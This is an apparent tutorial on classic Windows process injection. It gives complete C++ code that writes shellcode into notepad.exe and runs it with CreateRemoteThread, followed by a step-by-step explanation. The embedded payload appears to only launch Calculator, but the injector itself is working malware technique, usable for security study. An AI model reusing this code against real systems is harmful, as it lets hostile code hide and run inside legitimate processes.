Classic Process Injection

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

unsigned int shellcodeSize = sizeof(shellcode);

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const char* procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

// Get the first process entry in the snapshot
if (Process32First(hSnap, &pe32) != FALSE) {
// Iterate through the running processes to find the process with the specified name
while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
if (strcmp(pe32.szExeFile, procName) == 0) {
// Found the process with the matching name, store its PID
pid = pe32.th32ProcessID;
}
}
}
CloseHandle(hSnap);
return pid;
}

int main() {
// Get the PID of the process to inject into
int pid = getPIDbyProcName("notepad.exe");
if (pid == 0) {
printf("Process not found\n");
return 1;
}

// Get a handle to the process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// Allocate memory in the process for the shellcode
LPVOID hAlloc = VirtualAllocEx(hProc, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Write the shellcode to the allocated memory
WriteProcessMemory(hProc, hAlloc, shellcode, shellcodeSize, NULL);

// Create a thread in the process to execute the shellcode
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hAlloc, NULL, 0, NULL);

// Wait for the thread to finish
WaitForSingleObject(hThread, INFINITE);

return 0;
}
```

This code is a C program that demonstrates a technique known as process injection. Process injection is a method used in malware development to inject malicious code into a running process, allowing the malware to execute within the context of that process. The code you provided is a simplified example and should only be used for educational purposes and ethical hacking, never for malicious activities.

Here's a breakdown of how this code works:

1. **Include Statements:** The code includes several header files required for Windows API functions and data types.
2. **Shellcode:** The `shellcode` variable contains the actual malicious code. This shellcode is written in assembly language and is represented as a series of hexadecimal bytes. It performs a specific malicious action when executed.
3. **shellcodeSize:** This variable holds the size of the shellcode in bytes.
4. **getPIDbyProcName Function:** This function is used to find the Process ID (PID) of a running process based on its name. It takes the name of the target process (e.g., "notepad.exe") as input and returns its PID.
5. **main Function:**
   - It calls `getPIDbyProcName` to find the PID of the "notepad.exe" process.
   - If the process is not found (PID is 0), it prints an error message and exits.
   - It uses `OpenProcess` to obtain a handle (`hProc`) to the target process with full access rights.
   - `VirtualAllocEx` is called to allocate memory in the target process to store the shellcode. This memory is marked as executable.
   - `WriteProcessMemory` writes the shellcode into the allocated memory space in the target process.
   - `CreateRemoteThread` creates a new thread within the target process and specifies the start address as the memory location of the shellcode. This effectively runs the shellcode within the target process.
   - `WaitForSingleObject` waits for the thread to finish execution.

In summary, this code demonstrates a basic form of code injection into a remote process (in this case, "notepad.exe"). It's important to note that this code is for educational purposes only and should not be used maliciously. Malware development is illegal and unethical. Understanding such techniques is essential for security professionals to defend against these types of attacks.